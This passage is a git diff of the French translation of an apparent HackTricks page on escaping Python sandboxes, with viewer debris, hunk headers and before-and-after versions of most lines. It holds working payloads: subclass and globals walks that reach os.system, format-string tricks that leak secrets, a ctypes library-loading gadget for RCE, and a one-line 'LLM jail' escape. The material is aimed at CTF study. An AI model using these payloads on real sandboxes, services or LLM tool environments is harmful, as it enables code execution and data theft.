[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
Nous pouvons faire la même chose avec **d'autres bibliothèques** dont nous savons qu'elles peuvent être utilisées pour **exécuter des commandes**:
|
||||
Nous pouvons faire la même chose avec **d'autres bibliothèques** que nous savons pouvoir utiliser pour **exécuter des commandes** :
|
||||
```python
|
||||
#os
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
||||
@ -510,7 +511,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
|
||||
pdb:
|
||||
"""
|
||||
```
|
||||
De plus, si vous pensez que **d'autres bibliothèques** peuvent être capables d'**invoquer des fonctions pour exécuter des commandes**, nous pouvons aussi **filtrer par noms de fonctions** à l'intérieur des bibliothèques possibles:
|
||||
De plus, si vous pensez que **d'autres bibliothèques** pourraient être capables d'**invoquer des fonctions pour exécuter des commandes**, nous pouvons aussi **filtrer par noms de fonctions** à l'intérieur des bibliothèques possibles :
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||||
@ -546,7 +547,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
|
||||
## Recherche récursive de Builtins, Globals...
|
||||
|
||||
> [!WARNING]
|
||||
> C'est juste **génial**. Si vous êtes **à la recherche d'un objet comme globals, builtins, open ou autre** utilisez simplement ce script pour **trouver récursivement les endroits où vous pouvez trouver cet objet.**
|
||||
> C'est juste **génial**. Si vous **cherchez un objet comme globals, builtins, open ou autre** utilisez simplement ce script pour **trouver récursivement les endroits où vous pouvez trouver cet objet.**
|
||||
```python
|
||||
import os, sys # Import these to find more gadgets
|
||||
|
||||
@ -664,14 +665,13 @@ main()
|
||||
```
|
||||
Vous pouvez vérifier la sortie de ce script sur cette page :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md
|
||||
{{#endref}}
|
||||
|
||||
## Python Format String
|
||||
|
||||
Si vous **envoyez** une **chaîne** à python qui va être **formatée**, vous pouvez utiliser `{}` pour accéder aux **informations internes de python**. Vous pouvez utiliser les exemples précédents pour accéder à globals ou builtins, par exemple.
|
||||
Si vous **envoyez** une **chaîne** à python qui va être **formatée**, vous pouvez utiliser `{}` pour accéder aux **informations internes de python.** Vous pouvez utiliser les exemples précédents pour accéder aux globals ou builtins, par exemple.
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
CONFIG = {
|
||||
@ -691,16 +691,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Remarquez comment vous pouvez **accéder aux attributs** de manière normale avec un **point** comme `people_obj.__init__` et un **élément de dict** avec des **crochets** sans guillemets `__globals__[CONFIG]`
|
||||
Notez comment vous pouvez **accéder aux attributs** de manière normale avec un **point** comme `people_obj.__init__` et un **élément de dict** avec des **crochets** sans guillemets `__globals__[CONFIG]`
|
||||
|
||||
Notez aussi que vous pouvez utiliser `.__dict__` pour énumérer les éléments d'un objet `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
Remarquez aussi que vous pouvez utiliser `.__dict__` pour énumérer les éléments d'un objet `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
Parmi d'autres caractéristiques intéressantes des format strings, il est possible d'**exécuter** les **fonctions** **`str`**, **`repr`** et **`ascii`** sur l'objet indiqué en ajoutant respectivement **`!s`**, **`!r`**, **`!a`** :
|
||||
Quelques autres caractéristiques intéressantes des format strings sont la possibilité d'**exécuter** les **fonctions** **`str`**, **`repr`** et **`ascii`** sur l'objet indiqué en ajoutant **`!s`**, **`!r`**, **`!a`** respectivement :
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
De plus, il est possible de **code new formatters** dans des classes:
|
||||
De plus, il est possible de **code new formatters** dans des classes :
|
||||
```python
|
||||
class HAL9000(object):
|
||||
def __format__(self, format):
|
||||
@ -711,10 +711,10 @@ return 'HAL 9000'
|
||||
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
||||
#I'm afraid I can't do that.
|
||||
```
|
||||
**Plus d'exemples** concernant les **format** **string** sont disponibles sur [**https://pyformat.info/**](https://pyformat.info)
|
||||
**Plus d'exemples** sur les **format** **string** peuvent être trouvés sur [**https://pyformat.info/**](https://pyformat.info)
|
||||
|
||||
> [!CAUTION]
|
||||
> Consultez aussi la page suivante pour des gadgets qui vont **lire des informations sensibles à partir des objets internes de Python**:
|
||||
> Consultez également la page suivante pour des gadgets qui vont **lire des informations sensibles à partir des objets internes de Python** :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -739,20 +739,20 @@ str(x) # Out: clueless
|
||||
```
|
||||
### LLM Jails bypass
|
||||
|
||||
À partir de [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||
Depuis [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||
|
||||
### Du format vers RCE en chargeant des bibliothèques
|
||||
### Du format au RCE en chargeant des bibliothèques
|
||||
|
||||
Selon le [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) il est possible de charger des bibliothèques arbitraires depuis le disque en abusant de la format string vulnerability en python.
|
||||
Selon [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) il est possible de charger des bibliothèques arbitraires depuis le disque en abusant de la vulnérabilité format string en python.
|
||||
|
||||
Pour rappel, chaque fois qu'une action est exécutée en python, une fonction est appelée. Par exemple `2*3` exécutera **`(2).mul(3)`** ou **`{'a':'b'}['a']`** exécutera **`{'a':'b'}.__getitem__('a')`**.
|
||||
Pour rappel, chaque fois qu'une action est effectuée en python, une fonction est exécutée. Par exemple `2*3` exécutera **`(2).mul(3)`** ou **`{'a':'b'}['a']`** exécutera **`{'a':'b'}.__getitem__('a')`**.
|
||||
|
||||
Il y en a d'autres dans la section [**Python execution without calls**](#python-execution-without-calls).
|
||||
Vous en avez d'autres dans la section [**Python execution without calls**](#python-execution-without-calls).
|
||||
|
||||
Une vulnérabilité de format string python n'autorise pas l'exécution de fonctions (elle n'autorise pas l'utilisation de parenthèses), donc il n'est pas possible d'obtenir RCE comme `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
Cependant, il est possible d'utiliser `[]`. Par conséquent, si une bibliothèque python courante a une méthode **`__getitem__`** ou **`__getattr__`** qui exécute du code arbitraire, il est possible de les exploiter pour obtenir RCE.
|
||||
Une vulnérabilité format string en python n'autorise pas l'exécution de fonctions (elle n'autorise pas l'utilisation de parenthèses), donc il n'est pas possible d'obtenir un RCE comme `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
Cependant, il est possible d'utiliser `[]`. Par conséquent, si une bibliothèque python courante possède une méthode **`__getitem__`** ou **`__getattr__`** qui exécute du code arbitraire, il est possible de les abuser pour obtenir un RCE.
|
||||
|
||||
En cherchant un gadget de ce type dans python, le writeup propose cette [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). C'est là qu'il a trouvé cette [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
En cherchant un gadget de ce type dans python, le writeup propose cette [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). C'est là qu'il a trouvé celle-ci [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
```python
|
||||
class LibraryLoader(object):
|
||||
def __init__(self, dlltype):
|
||||
@ -774,18 +774,18 @@ return getattr(self, name)
|
||||
cdll = LibraryLoader(CDLL)
|
||||
pydll = LibraryLoader(PyDLL)
|
||||
```
|
||||
Ce gadget permet de **charger une bibliothèque depuis le disque**. Par conséquent, il est nécessaire d'écrire ou de téléverser d'une manière ou d'une autre la bibliothèque à charger, correctement compilée, sur le serveur attaqué.
|
||||
Ce gadget permet de **charger une bibliothèque depuis le disque**. Par conséquent, il est nécessaire, d'une manière ou d'une autre, d'**écrire ou téléverser la bibliothèque à charger** correctement compilée sur le serveur attaqué.
|
||||
```python
|
||||
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
||||
```
|
||||
Le challenge exploite en réalité une autre vulnérabilité du serveur qui permet de créer des fichiers arbitraires sur le disque du serveur.
|
||||
|
||||
## Analyse des objets Python
|
||||
## Dissection des objets Python
|
||||
|
||||
> [!TIP]
|
||||
> Si vous voulez **apprendre** en profondeur sur **python bytecode**, lisez ce post **génial** sur le sujet: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
> Si vous voulez **apprendre** en profondeur sur **python bytecode**, lisez cet **excellent** article sur le sujet : [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
|
||||
Dans certains CTFs, on pourrait vous fournir le nom d'une **fonction personnalisée où le flag** se trouve, et vous devrez examiner les **internes** de la **fonction** pour l'extraire.
|
||||
Dans certains CTFs, on peut vous fournir le nom d'une **fonction personnalisée où se trouve le flag** et vous devez voir les **internes** de la **fonction** pour l'extraire.
|
||||
|
||||
Voici la fonction à inspecter:
|
||||
```python
|
||||
@ -807,7 +807,7 @@ dir(get_flag) #Get info tof the function
|
||||
```
|
||||
#### globals
|
||||
|
||||
`__globals__` et `func_globals` (identiques) obtiennent l'environnement global. Dans l'exemple, vous pouvez voir certains modules importés, quelques variables globales et le contenu qui leur est déclaré :
|
||||
`__globals__` and `func_globals`(Identique) Obtient l'environnement global. Dans l'exemple, vous pouvez voir quelques modules importés, quelques variables globales et leur contenu déclarés:
|
||||
```python
|
||||
get_flag.func_globals
|
||||
get_flag.__globals__
|
||||
@ -816,7 +816,7 @@ get_flag.__globals__
|
||||
#If you have access to some variable value
|
||||
CustomClassObject.__class__.__init__.__globals__
|
||||
```
|
||||
[**Voir ici d'autres endroits pour obtenir globals**](#globals-and-locals)
|
||||
[**See here more places to obtain globals**](#globals-and-locals)
|
||||
|
||||
### **Accéder au code de la fonction**
|
||||
|
||||
@ -908,7 +908,7 @@ dis.dis(get_flag)
|
||||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
Remarquez que **si vous ne pouvez pas importer `dis` dans le python sandbox** vous pouvez obtenir le **bytecode** de la fonction (`get_flag.func_code.co_code`) et la **désassembler** localement. Vous ne verrez pas le contenu des variables chargées (`LOAD_CONST`) mais vous pouvez les deviner à partir de (`get_flag.func_code.co_consts`) car `LOAD_CONST` indique aussi l'offset de la variable chargée.
|
||||
Remarquez que **si vous ne pouvez pas importer `dis` dans le python sandbox** vous pouvez obtenir le **bytecode** de la fonction (`get_flag.func_code.co_code`) et **le désassembler** localement. Vous ne verrez pas le contenu des variables chargées (`LOAD_CONST`) mais vous pouvez les deviner à partir de (`get_flag.func_code.co_consts`) parce que `LOAD_CONST` indique aussi l'offset de la variable chargée.
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
@ -932,8 +932,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
||||
```
|
||||
## Compilation de Python
|
||||
|
||||
Imaginons maintenant que, d'une manière ou d'une autre, vous puissiez **dump les informations sur une fonction que vous ne pouvez pas exécuter** mais que vous **avez besoin** de **l'exécuter**.\
|
||||
Comme dans l'exemple suivant, vous **pouvez accéder au code object** de cette fonction, mais en lisant simplement le disassemble vous **ne savez pas comment calculer le flag** (_imaginez une fonction `calc_flag` plus complexe_)
|
||||
Imaginons maintenant que, d'une manière ou d'une autre, vous pouvez **dump the information about a function that you cannot execute** mais que vous **devez** l'**exécuter**.\
|
||||
Comme dans l'exemple suivant, vous **can access the code object** de cette function, mais rien qu'en lisant le disassemble vous **ne savez pas comment calculer le flag** (_imaginez une function `calc_flag` plus complexe_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -948,7 +948,7 @@ return "Nope"
|
||||
```
|
||||
### Création du code object
|
||||
|
||||
Tout d'abord, nous devons savoir **comment créer et exécuter un code object** afin que nous puissions en créer un pour exécuter notre function leaked:
|
||||
Tout d'abord, nous devons savoir **comment créer et exécuter un code object** afin de pouvoir en créer un pour exécuter notre fonction leaked:
|
||||
```python
|
||||
code_type = type((lambda: None).__code__)
|
||||
# Check the following hint if you get an error in calling this
|
||||
@ -968,7 +968,7 @@ mydict['__builtins__'] = __builtins__
|
||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
> [!TIP]
|
||||
> Selon la version de python, les **paramètres** de `code_type` peuvent avoir un **ordre différent**. La meilleure façon de connaître l'ordre des params dans la version de python que vous utilisez est d'exécuter :
|
||||
> Selon la version de python, les **paramètres** de `code_type` peuvent avoir un **ordre différent**. La meilleure façon de connaître l'ordre des paramètres dans la version de python que vous utilisez est d'exécuter :
|
||||
>
|
||||
> ```
|
||||
> import types
|
||||
@ -979,7 +979,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
### Recréer une fonction leaked
|
||||
|
||||
> [!WARNING]
|
||||
> Dans l'exemple qui suit, nous allons récupérer toutes les données nécessaires pour recréer la fonction directement à partir de son objet code. Dans un **exemple réel**, toutes les **valeurs** nécessaires pour exécuter la fonction **`code_type`** sont celles que **vous devrez leak**.
|
||||
> Dans l'exemple suivant, nous allons prendre toutes les données nécessaires pour recréer la fonction directement à partir de l'objet code de la fonction. Dans un **vrai exemple**, toutes les **valeurs** nécessaires pour exécuter la fonction **`code_type`** sont ce que **vous devrez leak**.
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
||||
@ -992,8 +992,8 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
### Contourner les défenses
|
||||
|
||||
Dans les exemples précédents au début de cet article, vous pouvez voir **comment exécuter n'importe quel code python en utilisant la fonction `compile`**. C'est intéressant car vous pouvez **exécuter des scripts entiers** avec des boucles et tout en **une seule ligne** (et nous pourrions faire la même chose en utilisant **`exec`**).\
|
||||
Quoi qu'il en soit, il peut parfois être utile de **créer** un **objet compilé** sur une machine locale et de l'exécuter dans la **CTF machine** (par exemple parce que nous n'avons pas la fonction `compiled` dans la CTF).
|
||||
Dans les exemples précédents au début de ce post, vous pouvez voir **comment exécuter n'importe quel code python en utilisant la fonction `compile`**. Ceci est intéressant car vous pouvez **exécuter des scripts entiers** avec des boucles et tout le reste en un **one liner** (et nous pourrions faire la même chose en utilisant **`exec`**).\
|
||||
Quoi qu'il en soit, il peut parfois être utile de **créer** un **objet compilé** sur une machine locale et de l'exécuter sur la **CTF machine** (par exemple parce que nous n'avons pas la fonction `compiled` dans la CTF).
|
||||
|
||||
Par exemple, compilons et exécutons manuellement une fonction qui lit _./poc.py_:
|
||||
```python
|
||||
@ -1022,7 +1022,7 @@ mydict['__builtins__'] = __builtins__
|
||||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
Si vous ne pouvez pas accéder à `eval` ou `exec`, vous pouvez créer une **fonction appropriée**, mais l'appeler directement va généralement échouer avec : _constructor not accessible in restricted mode_. Vous avez donc besoin d'une **fonction qui n'est pas dans l'environnement restreint pour appeler cette fonction.**
|
||||
Si vous ne pouvez pas accéder à `eval` ou `exec`, vous pouvez créer une **fonction appropriée**, mais l'appeler directement échouera généralement avec : _constructeur non accessible en mode restreint_. Vous devez donc disposer d'une **fonction située en dehors de l'environnement restreint pour appeler cette fonction.**
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
@ -1030,9 +1030,9 @@ ctype = type((lambda: None).func_code)
|
||||
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
|
||||
f(42)
|
||||
```
|
||||
## Décompilation de Python compilé
|
||||
## Décompilation du code Python compilé
|
||||
|
||||
En utilisant des outils comme [**https://www.decompiler.com/**](https://www.decompiler.com) on peut **decompile** du code python compilé donné.
|
||||
En utilisant des outils comme [**https://www.decompiler.com/**](https://www.decompiler.com) on peut **décompiler** un code python compilé donné.
|
||||
|
||||
**Consultez ce tutoriel** :
|
||||
|
||||
@ -1045,8 +1045,8 @@ En utilisant des outils comme [**https://www.decompiler.com/**](https://www.deco
|
||||
|
||||
### Assert
|
||||
|
||||
Python exécuté avec les optimisations via le paramètre `-O` supprimera les assert statements et tout code conditionné par la valeur de **debug**.\
|
||||
Par conséquent, des vérifications comme
|
||||
Python exécuté avec les optimisations via le paramètre `-O` supprimera les instructions assert et tout code conditionnel à la valeur de **debug**.\
|
||||
Ainsi, des vérifications comme
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
try:
|
||||
@ -1055,7 +1055,7 @@ print("\nYou are a super user\n")
|
||||
except AssertionError:
|
||||
print(f"\nNot a Super User!!!\n")
|
||||
```
|
||||
sera bypassed
|
||||
sera contourné
|
||||
|
||||
## Références
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user